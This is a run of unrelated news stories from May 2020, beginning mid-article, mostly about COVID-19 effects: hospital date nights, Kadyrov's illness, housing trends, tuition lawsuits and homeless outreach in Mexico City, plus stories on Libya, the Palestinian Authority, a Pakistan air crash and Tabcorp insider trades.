She added: Can I say that you are, as a man, taking your fair share of the childcare there, so well done for that.

The First Minister also made an attempt to greet the intruder, but was met with silence, before thanking the journalist and his able helper for the question.

Mr Musson is not the first to have a child interrupt an important work call.

Robert Kelly and his family became an internet sensation after his children interrupted his live interview / BBC

In 2017, a video of Robert Kelly's family went viral after his children strutted into the room and began to cause havoc during a BBC interview.

Mr Kelly, a professor of political science who lives in South Korea, reappeared on BBC in March this year to give an interview about how the country was dealing with the coronavirus crisis.

This time, the children made a planned appearance as Mr Kelly spoke about how the family were coping with the outbreak.

Last year, Labour MP Stella Creasy set an example by carrying her baby in a sling as she was sworn into Parliament while on maternity leave.

Stella Creasy was also pictured carrying her baby daughter on election night in December, 2019 / REUTERS

The MP for Walthamstow shared footage of the moment on Instagram as she took the oath of allegiance to the Crown in the House of Commons accompanied by her daughter Hettie.

Social media users lauded the MP, branding her an "absolute legend" and "100% awesome". One also wrote: "Amazing to see this in Parliament!"
An Illinois man has been sitting outside his pregnant wife's hospital window for weekly date nights since she was admitted six weeks ago and put on bedrest.

Robert Conlin, 45, and Shona Moeller, 41, are expecting their first child, a boy they've named Forest. But when Shona's water broke early, she was brought to stay at the hospital for the remainder of her pregnancy.

Due to COVID-19 concerns, Robert is not allowed in to see her  so he's been making due by bringing her takeout once a week, sitting at a table four floors below her window, and FaceTiming with her for makeshift dates.

He's here! An Illinois man has been sitting outside his pregnant wife's hospital window for weekly date nights since she was admitted six weeks ago and put on bedrest

Little one on the way! Robert Conlin, 45, and Shona Moeller, 41, are expecting their first child, a boy they've named Forest

Scary stuff: But when Shona's water broke early, she was brought to stay at the hospital for the remainder of her pregnancy

Shona's water broke prematurely when she was just 20 weeks pregnant. A fetus is considered viable at 24 weeks, so Shona was ordered to stay on bedrest to delay delivery.

She stayed at home at first, but at 23 weeks, she was admitted to the Amita Health Adventist Medical Center in Hinsdale, near Chicago. Because of the pandemic, the couple wouldn't be able to be together again until she gave birth.

'I remember the day before she went into the hospital and we were both just sobbing and I was thinking how could Shona possibly be going through this without me by her side,' Robert told Good Morning America. 'It was really sad and scary but we just focused on the baby and tried to make the best of the situation.'

'After she was here for a couple days, she was able to get moved to a room with a window to the outside,' he said in an interview with WGN9.

Love: Robert started coming by once a week and sitting outside her window, four floors down

Dedication: He holds up cute signs and brings dinner, having her meal delivered to her in her room

Time to go: She is currently 28 weeks along and will stay in the hospital until she gives birth

So far away: Roberts isn't allowed inside due to COVID-19 concerns

'And once we found that out, that I could come and visit and see her through the fourth story window, it just seemed like were going to capitalize everything we can with that because thats all weve got.'

Robert told her that he was planning a date night. She assumed that they'd just talk over FaceTime, but Robert had more in mind.

Shona said: 'I got a package and they brought it into my room and theyre like, "Look down." And he was there and he had this sign that said, "I love you."

She told GMA she 'lost her breath' when she spotted him.

'In this time where Im by myself, every gesture feels so monumental and lovely and sweet,' Shona said. 'It felt like he had traveled the world to come see me because it meant so much.

'Hes just been a beacon of support,' she added. 'He has such a big heart.'

'In this time where Im by myself, every gesture feels so monumental and lovely and sweet,' Shona said

Sweet: She's held onto the signs and has them hanging in her window

'Shona has been really great with sending pictures and Forest gets monitored a few times a day and she calls me every time it happens so Im able to hear his heartbeat,' Robert said

Since that first time, he's brought more signs, including 'Proud Papa' and 'You are beautiful.'

The mom-to-be will stay on bedrest for the rest of her pregnancy to increase Forest's chance of survival.

She is currently 28 weeks along, which gives the baby a five per cent mortality risk if he was born now. They're hoping to get her to 34 weeks before she gives birth. Full term is 40 weeks.

'Shona has been really great with sending pictures and Forest gets monitored a few times a day and she calls me every time it happens so Im able to hear his heartbeat,' Robert said.

More recently, Shona hasn't been able to get out of bed to see him at the window, but they're still having date nights  and Robert will be able to join her in the delivery room when she gives birth.
RTHK: Chechen leader Kadyrov in hospital with Covid-19

Chechnya's leader Ramzan Kadyrov was on Thursday in hospital in Moscow suffering from suspected coronavirus, Russian news agencies reported.

"Ramzan Kadyrov was taken by plane to Moscow with a suspected case of coronavirus. Now (he) is under medical supervision," state news agency TASS reported, citing a medical source who also said Kadyrov was in a "stable" condition.

News agency RIA Novosti also quoted a medical source as saying Kadyrov, 43, was in hospital in Moscow, while Interfax quoted a Moscow medical source saying he was being treated and "suspected of having coronavirus".

If confirmed, Kadyrov would be the latest senior official to contract the virus after Prime Minister Mikhail Mishustin, Kremlin spokesman Dmitry Peskov and several ministers.

There was no immediate comment from officials in Chechnya or Moscow.

RIA Novosti quoted an aide to Kadyrov, Grozny television chief Akhmed Dudayev, as saying the Chechen leader "is in personal control of the work of the coronavirus headquarters", without commenting on reports of his hospitalisation.

A crucial ally of President Vladimir Putin, Kadyrov took power in Chechnya after his father Akhmat Kadyrov was killed in a 2004 bomb attack.

Both father and son had fought against Moscow during the first bloody separatist conflict in Chechnya from 1994-96 but switched sides to support the Kremlin when it launched a second war there in 1999 under the watch of then prime minister Putin.

Kadyrov calls himself a "foot soldier" but is widely thought to enjoy carte blanche from Moscow, which turns a blind eye to heavy-handed tactics in his North Caucasus fiefdom in exchange for loyalty.

He has taken a characteristically high-handed approach to the coronavirus, calling doctors who complained of a lack of protective equipment "provocateurs" who should be fired.

He also likened Chechens who do not self-isolate and infect others to "terrorists" who should be buried in pits.

Russia has recorded a total of 317,554 coronavirus infections, the second-highest in the world after the United States, with 3,099 deaths nationwide.

Despite the high number of infections, officials say the situation is stabilising and the mortality rate is low, and have begun easing lockdown measures in many parts of the country. (AFP)

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
With large tech companies like Amazon and Microsoft extending their work-from-home policies until the fall due to the COVID-19 pandemic, economists are predicting that real estate trends might shift and cause a "suburban boom" in the housing market.

In a newly released survey, the Seattle-based Zillow Group found that 75% of Americans working from home due to COVID-19 would prefer to telecommute at least half of the time once the pandemic subsides, and 66% said they would consider moving if their job allowed them to continue telecommuting.

Related: House of the Week: Compound in Lake George

These trends in the job market are leading economists to predict that post-pandemic housing preferences may move away from dense metropolitan areas due to the virus and more lenient work-from-home situations.

"Moving away from the central core has traditionally offered affordability at the cost of your time and gas money. Relaxing those costs by working remotely could mean more households choose those larger homes farther out, easing price pressure on urban and inner suburban areas," said Zillow senior principal economist, Skylar Olsen.

As people reconsider housing options in conjunction with remote work, the amount of space desired by home shoppers will also shift. Zillow predicts that larger homes, especially those with extra rooms or home offices, will be in high demand.

Related: Soak in the scenery: Capital Region homes for sale with stunning views

Additionally, the growing affordability crisis in cities may also have a major impact on the suburban real estate surge. But proximity to a metropolitan center is still crucial. Redfin CEO Glenn Kelman predicted that people will move to nearby suburban areas like Tacoma to be able to make office visits in Seattle when necessary.

"More permissive policies around remote work and a rising wariness about close quarters will likely accelerate that trend," Kelman said in a May earnings call. "More people will leave San Francisco, New York and even Seattle, some for nearby towns like Sacramento and Tacoma that are close enough to support a weekly office visit, others for a completely remote life in Charleston, Boise, Bozeman or Madison."

According to the Pew Research Center, only 7% of American workers had the option to telecommute as a benefit prior to the COVID-19 pandemic although over 40% of jobs could be performed remotely. With more employers seeing that remote work is a possibility, this gap may narrow once the pandemic is over.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

However, a shift to living further out of the metropolitan core is not without its drawbacks, which is why Olsen and other economists do not predict that the market surge will extend to more rural areas.

"However, [moving way from cities] means they'd also be moving farther from a wider variety of restaurants, shops, yoga studios and art galleries," said Olsen. "Given the value many place on access to such amenities, we're not talking about the rise of the rural homesteader on a large scale. Future growth under broader remote work would still favor suburban communities or secondary cities that offer those amenities along with more spacious homes and larger lots."

As the Capital Region reopens, are you looking for good news or ways to support local businesses and organizations? Join our Facebook group

A move to suburban areas is not the only way COVID-19 is expected to impact the housing market. For those selling their homes, a decrease in the GDP can mean a drop in value.

Using a baseline prediction that the GDP will drop 4.9% in 2020, Zillow economists also predict that home prices nationwide will fall between 2-3% through the end of the year and only return to pre-coronavirus levels by late summer of 2021.
Police said the child tried to hang on to the handlebars to keep the men from taking the four-wheeler, but began hitting her hands as they drove off. The child ended up falling off the ATV, skinning both of her knees in the process. No other injuries were reported.

NO ARRESTS MADE: 19-year-old victim ID'd in deadly west Houston shooting

"Seriously... Who does that to a little kid?" the TTPD said in a Facebook post.

Neither the four-wheeler nor the men have been recovered at this time.

Texarkana police said Williams and Akkard have "reservations for both of them in the Bi-State Jail."

If you have any information regarding the whereabouts of Jaquavion Williams or Daquavious Akkard, you're asked to call Crime Stoppers at 903-793-STOP(7867).
Helena Christensen looked effortlessly chic Thursday despite wearing a face mask while walking her dog in New York City.

The 51-year-old Danish supermodel wore a short black floral print dress under a faded green military-style jacket and completed her outfit with tan moccasins.

The former Victoria's Secret Angel had her dark hair pulled back into a ponytail with split bangs up front.

Dog walk: Helena Christensen looked effortlessly chic Thursday despite wearing a face mask while walking her beloved dog Kuma in New York City

Helena accessorized with sunglasses and covered her nose and mouth with an olive mask that complemented her jacket.

She carried a small purple purse and held onto a pink leash holding her beloved Australian shepherd Kuma.

Helena after winning Miss Universe Denmark 1986 rose to prominence in the 1990s as a supermodel and ruled the runway and print magazines along with fellow supermodels Cindy Crawford, Linda Evangelista, Christy Turlington, Naomi Campbell, Elle Macpherson and Claudia Schiffer.

She starred in the 1990 music video for the Chris Isaak song Wicked Games.

Effortlessly chic: The 51-year-old Danish supermodel wore a short black floral print dress under a faded green military-style jacket and completed her outfit with tan moccasins

Beloved dog: Helena carried a small purple purse and held onto a pink leash holding her beloved Australian shepherd Kuma

Top model: The Copenhagen native, shown in April 2018 in New York City, rose to prominence in the 1990s as a supermodel along with Cindy Crawford, Linda Evangelista, Christy Turlington, Naomi Campbell, Elle Macpherson and Claudia Schiffer

Helena has a 20-year-old son Mingus from her previous relation with actor Norman Reedus, 51, who stars as Daryl Dixon in the popular AMC zombies series The Walking Dead.

Norman and wife Diane Kruger, 43, have a one-year-old daughter together.

Helena in a 2018 interview in The Guardian gushed that she and Mingus are 'so in love' with Kuma.

Video star: Helena, shown in April 2019 in NYC, starred in the Wicked Games music video

Catwalk star: The Danish supermodel is shown walking the runway in 1990

'Getting our dog was absolutely the best thing I have done in my life besides having my son,' said the Copenhagen native.

'Mentally, she makes me feel so much better. She sleeps in the bed with me. When Im on trips I listen to recordings of her snoring. If I am feeling anxious, like at an airport, I listen to it over and over. Its like meditation,' she told the newspaper.

Helena also has become an accomplished photographer and was a co-founder of Nylon magazine that published from 1999 to 2017.
The Action Democratic Party (ADP), has congratulated Muslims in the country, over the successful completion of the Ramadan, encouraging them to sustain the holiness which characterised the just concluded fasting period.

In an Eid-el-Fitr message issued and signed by the National Publicity Secretary of the party, Prince Adelaja Adeoye, who said the party considers Ramadan as a period of purification through fasting and seeking for blessings and forgiveness from Almighty Allah, the creator of mankind, said its conclusion is a grace from Allah worthy of celebration.

ADP urged Nigerians across faiths, to unite and use the celebration of Eid-el-Fitr to prepare their minds for the resuscitation of the Nation, from the uninspiring situation successive poor administrations had led it to.

According to the party, Nigerians should use this Eid-el-Fitr to seek the face of Allah in prayers in order for the Corona Virus pandemic to be over. It is important that Nigerians must get back to their normal lives, businesses must re-open, school Children must return back to class, religious organizations must get back as the lifewire of mankind.

The party, charged that just as Eid-el-Fitr marked the successful completion of Ramadan, obligation that is among the five pillars of Islam and renew the spirituality of mankind from hopelessness "we should join efforts that is speared to salvage our country from the state of hopelessness that this current government symbolises."

Adelaja rallied the people to overcome their fears and anxieties and rather, embrace resolves to move forward to build a country where goals and aspirations are met, urging them to remember the teaching of Prophet Muhammad (S.A.W) which encouraged a strong commitment to the development of our society.

"The teachings that the Holy month afford us, which are essentially love, self-denial and good conduct in our daily relationships, are core basis towards a better society and we must hearken to them jealously," he said.

"Though it's a moment of celebration but we needed to remind ourselves to bear the culture of selfless service to humanity as the Holy month of Ramadan had encouraged us," Adelaja noted.

While wishing Nigerians and the entire Muslim Ummah a Happy Eid-el-Fitr celebration, Adelaja enjoined fellow citizens to rededicate themselves to the struggle for the emancipation of the country as they reflect on the ideals of Ramadan and Eid-el-Fitr celebration.

SIGNED:

Prince Adelaja Adeoye

ADP National Publicity Secretary
Trissur : May 22 (IANS) A 75-year-old woman from Kerala, who had returned from Mumbai recently, died of coronavirus infection on Wednesday after which she was buried at a mosque near here in strict compliance with the prescribed protocol.

According to the health authorities, the woman along with three others arrived by road on a private vehicle on Tuesday and after arriving at her son's place in Malappuram, she developed breathing problems.

From her son's place she was moved in an ambulance to her home town near here and admitted to the local state run hospital.

She had underlying health issues and soon her condition turned worse and passed away on Wednesday.

The health officials asked her family to wait for the last rites as her COVID-19 test was awaited and when it came on Thursday was positive.

Hence on Friday early morning under strict COVID-19 protocols, her body was buried at a mosque near here.

Five people have been asked to go into self isolation by the district authorities.

For the records, this is the fifth death of a COVID-19 positive patient in Kerala.

Another death of a resident of Mahe (part of the Union Territory of Pondicherry ) is also recorded under Kerala by the Centre, as the death occurred, last month, at a hospital in Kannur district of the state.

This aged Muslim lady had gone to Mumbai three months back to be with her daughters, who reside there, but was unable to return following lockdown norms.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
Pakistan's coronavirus cases on Friday crossed the 50,000-mark after a record 2,603 more patients were diagnosed with the COVID-19 disease, the health ministry said.

The deadly contagion claimed the lives of 50 people in the last 24 hours, taking the death toll to 1,067, the Ministry of National Health Services said.

Out of the total 50,694 patients, Sindh reported 19,924 cases, Punjab 18,455, Khyber-Pakhtunkhwa 7,155, Balochistan 3,074, Islamabad 1,326, Gilgit-Baltistan 602 and Pakistan-occupied Kashmir 158 cases.

It also reported that so far 15,201 people have recovered from the malignant virus. In the past 24 hours, 1,064 people recovered from the novel coronavirus.

The authorities also carried out a record 16,387 tests, taking the total number of tests so far in the country to 445,987.

A special flight of Emirates carrying 251 stranded Pakistanis arrived at Islamabad International Airport from Dubai after Pakistan allowed the airline to operate special flights.

Officials said that all the passengers were shifted to different quarantine centres in Islamabad for 24 hours for medical tests related to the COVID-19.

The federal government has decided to restore international flights from Bacha Khan International Airport in Peshawar. Officials said that the decision was taken by Prime Minister Imran Khan.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Saeb Erekat, the secretary-general of the Palestinian Liberation Organization, told reporters today that his government has suspended its contacts with the US Central Intelligence Agency over the Trump administrations support for Israels plan to annex parts of the West Bank.

Palestinian Authority President Mahmoud Abbas said in Ramallah on Tuesday that Washingtons support for Israels annexation plan frees his government from its obligations under all treaties and agreements with the United States and Israel, including those involving the Oslo peace process.

Reuters reported that Erekat told reporters during a video call that intelligence cooperation with the United States had ceased as of the end of the presidents speech.

Why it matters: Abbas has threatened before to cut security ties with Israel and the United States but has never fully followed through. The CIA has acted for decades as Washingtons troubleshooting tool whenever tensions rose between the PLO and the Israeli government.

The agency also remains the PAs only communications channel with Washington since diplomatic ties with the United States broke down over the Trump administrations decision to move the US Embassy from Tel Aviv to Jerusalem, which the Palestinians claim as the capital of a future state.

Cutting off the last line of communication would be bad for both sides, said Dennis Ross, a former US Middle East envoy under President Bill Clinton. Ross is now at the Washington Institute. All it does is increase the potential for misunderstandings. And I think misunderstandings already exist, Ross told Al-Monitor.

Whats next: The Israel Defense Forces and Israels political opposition are less enthusiastic about the annexation plan. Any threat to security cooperation may make the plan even less palatable to Defense Minister Benny Gantzs Blue and White bloc. Abbas may be trying to leverage that, but doing so publicly may only serve to strengthen Prime Minister Benjamin Netanyahus resolve, Ross said.

In the long term, the PA is reliant on security cooperation with Israel to ward off Hamas and the Islamic Jihad, which will likely try to make inroads in the West Bank if cooperation actually does end.

Know more: Ben Caspit looks at Gantzs delicate path forward amid Netanyahus push for annexation.
President Donald Trump on Thursday pressed for a broader reopening of the United States as coronavirus-related job losses mounted, while parts of Europe embraced post-lockdown life.

With summer approaching on both sides of the Atlantic, more stores opened their doors and beaches welcomed tourists, even as the global number of virus cases passed five million.

The crisis of course is far from over -- Russia and Latin America emerged as the next virus hotspots, even as Europe and the United States headed into the next phase, like Asia before them.

But Trump, with an eye on his re-election prospects in November, made it clear he hoped more state governors would move toward a loosening of anti-virus restrictions.

"We did the right thing but we now want to get going. you'll break the country if you don't," he told African-American leaders in Michigan, a key election battleground state.

The Republican incumbent specifically talked about reopening places of worship -- something he had initially hoped would be done by Easter Sunday -- as important to the nation's healing.

"People want to be in their churches," Trump said. "They're so important in terms of the psyche of our country."

Weekly claims for unemployment insurance in the US since May 2019. By Jonathan WALTER (AFP)

Trump has adopted the theme of "Transitioning Back to Greatness" as states reopen at different speeds.

While daily death tolls are no longer on a steady incline, the losses are still mounting, with the total count in the US nearing 94,000.

Another 2.43 million Americans were put out of work last week, the Labor Department said, bringing the total to 38.6 million since lockdowns were put in place, though the pace of job losses has slowed.

Return to normal

On the eve of Memorial Day weekend -- the unofficial start to the American summer -- beaches are slowly welcoming sun worshippers, with Virginia Beach due to open Friday.

"We were just tired of waiting to get a normal life again, to get our freedom back. So we rented this big house by the beach," said Anne Miller, an Ohio resident visiting South Carolina.

Cyprus has moved into a new phase of opening up -- here, a man drinks a chilled coffee drink outside a hairdresser's salon in the capital Nicosia. By Iakovos Hatzistavrou (AFP)

The same was true in Europe, where Cyprus bounded into its second stage of opening up, lifting curfews and allowing outdoor restaurants, barber shops and beaches to open.

But the Mediterranean island's airports and hotels remain closed.

"I want my work back and my life back," said Sakis Siakopoulos, a restaurant owner in the capital Nicosia.

People enjoy the nice weather at Blaavand Zoo near Bredmose in Denmark, where the exit from lockdown gathered pace. By John Randeris HANSEN (Ritzau Scanpix/AFP)

In Denmark, the exit from lockdown also picked up pace as museums and zoos began reopening Thursday and health officials said the spread of the virus was slowing.

France, one of the countries hit hardest by the outbreak, saw its daily death toll dip to 83 -- cause for optimism.

A closely watched survey by IHS Markit indicated that the eurozone economy has now "likely bottomed out" as a result of the lockdowns, sparking hope that a recovery is to follow.

'It doesn't stop'

World toll of coronavirus infections and deaths as of May 21, 2020 at 1900 GMT. By (AFP)

The news was not positive everywhere.

The number of known cases of COVID-19 has doubled in just one month, according to AFP data collected from official sources, with the death toll nearing 330,000 worldwide.

While many European countries have significantly curbed the contagion, Latin America is becoming a new hotspot with cases on the rise.

In Brazil -- now home to the third-highest number of cases in the world after the US and Russia -- grave diggers at the region's biggest cemetery are scrambling to keep up.

"We've been working 12-hour days, burying them one after the other. It doesn't stop," said one worker at Vila Formosa near Sao Paulo, wearing a white protective suit, mask and face shield.

Brazilian grave diggers at the Vila Formosa cemetery on the outskirts of Sao Paulo say it is hard to keep up with their work. By NELSON ALMEIDA (AFP)

Peru, Mexico and Chile have also seen steady increases in infections.

"It's like a horror film," Miguel Armas, a nurse at the Hipolito Unanue hospital in the Peruvian capital, told AFP.

War of words

Trump has kept up a steady drumbeat of criticism against China, where the outbreak erupted last year, blaming its "incompetence" for the extent of the global crisis.

Chinese Premier Li Keqiang (R) -- seen here with President Xi Jinping (L) -- is set to address the nation about the coronavirus crisis, the economy and other major topics. By Leo RAMIREZ (AFP)

The government of Chinese leader Xi Jinping rejects that criticism, and insists it has been forthright with the world about the origins and unfolding of the crisis.

"It is neither responsible nor moral to cover up one's own problems by blaming others," said the spokesman for China's legislature, Zhang Yesui.

Chinese Premier Li Keqiang will address his nation on Friday about the coronavirus, the economy and other hot-button topics at the start of a new legislative session.

Virus cases in the Asian giant are now down to a trickle, and Beijing insists its efforts to curb the spread of the virus have been a success, but questions remain about whether it underreported the number of people affected by the contagion.

Second surge

Masks and temperature checks are among the measures being taken to reassure and help prevent transmisison of the virus as countries try to reboot their ailing economies. By Handout (FLORENCE MUSEUM PRESS OFFICE/AFP)

Governments around the world are testing ways to live with the dangers despite fears of a second wave of infections.

Already a common sight in Spain, masks were officially made mandatory Thursday for anyone over the age of six in public places where social distancing is not possible.

"The more tools we use, the better," said Miguel Domingo, a 49-year-old architect talking his two dogs for a walk in Madrid, which is emerging from one of the toughest lockdowns.

But the director of the European Center for Disease Prevention and Control, Andrea Ammon, warned it was not a question of if there will be a second wave but "when and how big."

"I don't want to draw a doomsday picture but I think we have to be realistic," she told Britain's Guardian newspaper.

burs-sst/ft
STATEN ISLAND, N.Y.  A St. Johns University student doesnt believe hes gotten a bang for his buck with the online classes instituted this semester due to the coronavirus (COVID-19).

And hes suing to get some of his cash back.

Shiv Patel has filed a proposed $5-million class-action lawsuit in Brooklyn federal court against the school, contending virtual classes have shortchanged him of a more valuable in-person classroom education as well as irreplaceable on-campus experiences and extracurricular activities.

It is unfair and unlawful for St. Johns to retain tuition and fees for services not being provided and to pass the losses on to the students and their families, the complaint contends. While partial refunds for services provided will not replace the lost on-campus experience, they would provide Mr. Patel and the putative class members with some financial relief as many prepare to graduate into a depressed job market.

The complaint acknowledges the changes caused by the coronavirus are unfortunate and unprecedented.

However, it contends students did not choose this circumstance, and they certainly did not agree to pay for tuition and fees when learning remotely without the use of services for which they paid handsomely, said the complaint.

Besides returning a portion of students tuition for the Spring 2020 semester, the school should refund the prorated portion of any unused fees and services, such as student government activity fees and general fees, maintains the complaint.

Patel is a Nassau County, L.I. resident who was attending St. Johns main campus in Queens as an undergraduate.

He seeks redress for all students of the school, including those at the Grymes Hill campus on Staten Island.

Similar lawsuits have been filed against dozens of colleges and universities around the country.

In March, St. Johns closed its campuses and moved all classes online, said the suit.

Many other colleges and universities have done likewise.

The suit contends online learning is less valuable than in-person instruction.

Remote schooling denies students access to teachers, campus facilities, clubs and services, and limits network building and other opportunities, the complaint maintains.

In addition, studies show online learning isnt as effective as traditional, in-person instruction, alleges the suit.

Online colleges ranked last in terms of employer desirability of college type, the complaint said, citing a 2012 study in the Chronicle of Higher Education.

St. Johns has thus retained the value of the monies paid by Mr. Patel and the putative class members for tuition and fees for the Spring 2020 semester, while failing to provide the services for which those monies were paid, alleges the complaint.

The well-endowed school apparently expects its students and their families to shoulder the financial brunt of the COVID-19 pandemic alone, notwithstanding that students are the worst positioned to be able to do so, the complaint contends.

Brian Browne, a St. Johns University spokesman, said the school is aware of the lawsuit and will continue monitoring the situation.

As a general policy, St. Johns does not comment on matters in litigation, said Browne.

Patels lawyers did not immediately respond to emails seeking comment on the suit.
Source: Xinhua| 2020-05-22 17:27:31|Editor: huaxia

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TRIPOLI, May 22 (Xinhua) -- The forces of the UN-backed Libyan government on Thursday said it had taken control of al-Asaba city, some 120 km west of the capital Tripoli, from the rival eastern-based army.

"Our brave forces took complete control of al-Asaba city," Mohamed Gonono, spokesman of the UN-backed government's forces, said in a statement, adding that fighter jets continue reconnaissance in the city to "monitor any movements of the fleeing remnants" of the eastern-based army.

On the other hand, the eastern-based army announced it had destroyed nearly 20 military vehicles and four Turkish-made drones of the government's forces in different areas in southwestern Libya.

The eastern-based army and the UN-backed government have been fighting for more than a year for control of Tripoli, which killed and injured hundreds of civilians and displaced more than 150,000 others.

The government's forces have been making significant progress lately against the eastern-based army, which includes taking over a major military base in southwestern Libya. Enditem
We often see insiders buying up shares in companies that perform well over the long term. Unfortunately, there are also plenty of examples of share prices declining precipitously after insiders have sold shares. So we'll take a look at whether insiders have been buying or selling shares in Tabcorp Holdings Limited (ASX:TAH).

What Is Insider Selling?

It's quite normal to see company insiders, such as board members, trading in company stock, from time to time. However, rules govern insider transactions, and certain disclosures are required.

Insider transactions are not the most important thing when it comes to long-term investing. But equally, we would consider it foolish to ignore insider transactions altogether. As Peter Lynch said, 'insiders might sell their shares for any number of reasons, but they buy them for only one: they think the price will rise.

View our latest analysis for Tabcorp Holdings

The Last 12 Months Of Insider Transactions At Tabcorp Holdings

Over the last year, we can see that the biggest insider sale was by the Independent Chairman of the Board, Paula Dwyer, for AU$306k worth of shares, at about AU$2.53 per share. That means that even when the share price was below the current price of AU$3.21, an insider wanted to cash in some shares. As a general rule we consider it to be discouraging when insiders are selling below the current price, because it suggests they were happy with a lower valuation. However, while insider selling is sometimes discouraging, it's only a weak signal. It is worth noting that this sale was only 49% of Paula Dwyer's holding. The only individual insider seller over the last year was Paula Dwyer. Notably Paula Dwyer was also the biggest buyer, having purchased AU$453k worth of shares.

In the last twelve months insiders purchased 120.63k shares for AU$453k. But they sold 120834 shares for AU$306k. In total, Tabcorp Holdings insiders bought more than they sold over the last year. They paid about AU$3.76 on average. I'd consider this a positive as it suggests insiders see value at around the current price. You can see the insider transactions (by individuals) over the last year depicted in the chart below. By clicking on the graph below, you can see the precise details of each insider transaction!

Story continues

ASX:TAH Recent Insider Trading May 22nd 2020

There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying.

Tabcorp Holdings Insiders Are Selling The Stock

There was substantially more insider selling, than buying, of Tabcorp Holdings shares over the last three months. In total, Independent Chairman of the Board Paula Dwyer sold AU$306k worth of shares in that time. On the other hand we note Independent Chairman of the Board Paula Dwyer bought AU$115k worth of shares. The share price has moved a bit recently, but it's hard to argue that the selling is a positive.

Insider Ownership of Tabcorp Holdings

Looking at the total insider shareholdings in a company can help to inform your view of whether they are well aligned with common shareholders. A high insider ownership often makes company leadership more mindful of shareholder interests. From our data, it seems that Tabcorp Holdings insiders own 0.1% of the company, worth about AU$8.1m. Whilst better than nothing, we're not overly impressed by these holdings.

What Might The Insider Transactions At Tabcorp Holdings Tell Us?

Unfortunately, there has been more insider selling of Tabcorp Holdings stock, than buying, in the last three months. In contrast, they appear keener if you look at the last twelve months. Still, insiders don't own a great deal of the stock. So the company doesn't look great on this analysis. So while it's helpful to know what insiders are doing in terms of buying or selling, it's also helpful to know the risks that a particular company is facing. To help with this, we've discovered 4 warning signs (2 shouldn't be ignored!) that you ought to be aware of before buying any shares in Tabcorp Holdings.

If you would prefer to check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt.

For the purposes of this article, insiders are those individuals who report their transactions to the relevant regulatory body. We currently account for open market transactions and private dispositions, but not derivative transactions.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
A Pakistani International Airlines aircraft with at least 99 people on board crashed on May 22 into a residential area in the southern port city of Karachi after experiencing technical problems. The number of casualties is not yet clear. The pilot had reported technical problems before the crash.
The Vaishali district administration on Friday dismissed reports that a half-burnt corpse, being pecked at by crows and stray dogs here, was of a COVID-19 patient.

Visuals showing crows and stray dogs pecking at the corpse had gone viral on social media and local channels reported the body was of a 35-year-old man found dead at a quarantine centre.

"These are misleading and mischievous claims," District Magistrate Udita Singh said.

"The half-burnt body is definitely not of the COVID-19 man though we are not able to identify the corpse. Nonetheless, officials were sent to the spot on learning about the rumours and the half-burnt body was cremated fully," she told a press conference.

The man found hanging from the ceiling had been lodged at Ambedkar Hostel quarantine centre upon his return from Delhi.

Police said he had been suffering panic attacks after his sample was sent for testing. They claimed the man's condition did not improve even after meeting his family and he took the extreme step in a fit of anxiety. His test report on Thursday confirmed that he was infected with the coronavirus.

In media reports, the local Konhara Ghat residents alleged the cremation on Wednesday night was done in a perfunctory manner since administration and police officials were wary of catching the virus.

But the district magistrate said the residents had tried to protest when the officials took the body for cremation, fearing they might catch the contagion.

"The officials on duty, however, went ahead despite the protest," Singh said.

None of the family members of the deceased had arrived at the time of cremation, apparently fearing the infection, and the officials saw to it that the body was cremated properly, she added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The 'Money Heist's' professor would surely approve of the good deed a Mexico City-based nonprofit organization has taken up since the coronavirus pandemic swept across the Mexican capital.

As the virus swept across Asia and Europe, El Caracol Civil Association's founder and director Luis Enrique Hernandez started developing a plan to help Mexico City's forgotten homeless population.

At least six members of the community organization set out upon Mexico City's 16 boroughs, searching for the federal district's estimated 4,300 homeless persons who are at risk of contracting COVID-19. An additional 2,400 live in shelters.

The small group's volunteers did so while donning PPE suits that resemble those worn by the hit Netflix series' characters, although it wasn't their explicit intention. They just wanted a suit that would protect them from being infected and make them recognizable within the homeless community.

El Caracol Civil Association visits Mexico City's 16 boroughs in search of homeless persons and provide assistance to slow down the coronavirus outbreak in Mexico's capital

A volunteer takes the temperature of a child using a non-contact electronic thermometer

El Caracol consists of six volunteers, including its founder, who are reaching out to Mexico's homeless population during the coronavirus pandemic. Since March 28, the nonprofit group has handed out 1,400 kits that include face masks, soap and hand sanitizer

Led by Hernandez, the group went through a medical training, attended workshops to learn more about the global epidemic and how to detect potential cases and received information on symptoms.

Since March 26, El Caracol has come across 800 people to whom it was able to provide assistance and awareness.

It has so far handed out 1,400 kits that include face masks, soap and hand sanitizers.

Its staff is also equipped with a non-contact electronic thermometer to register temperatures for members of a population that were not informed of the hazards of the pandemic.

An adult homeless man has his body temperature taken in Mexico City. Mexico's capital has been the hardest hit in the nation with COVID-19, causing the death of 1,754 people and producing 16,758 confirmed cases

El Caracol director and founder Luis Enrique Hernandez provides water to a homeless man in Mexico City as part of the nonprofit group's plan to slow down the spread of COVID-19

'That was very important because it gave us the pulse of what was happening with the population. They were not receiving information,' Hernandez told DailyMail.com on Friday via a text message.

'All the institutions that they commonly visit were closed and [they] were abandoned on the street. So the fact that Caracol came out was a great opportunity for COVID-19 to be prevented.'

While coming into contact with Mexico City's homeless, El Caracol noticed that most of them did not have access to water, which exposed them even more to contracting the disease.

'Water is a fundamental element now in this COVID-19 pandemic because we have to wash our hands in a recurring way. They don't have it,' Hernandez said.

'We also bring water to the streets so that they can wash their hands when we are working with them. Caracol is an organization that not only has mutual affection for them, but we know that we can achieve important work to protect their rights and in this case safeguard their lives.'

Aside from seeking donations to continue its outreach supply program, Hernandez has been looking for donors who can provide food that does not necessarily need to be cooked.

The virus has killed 1,754 people and produced 16,758 confirmed cases in Mexico City.

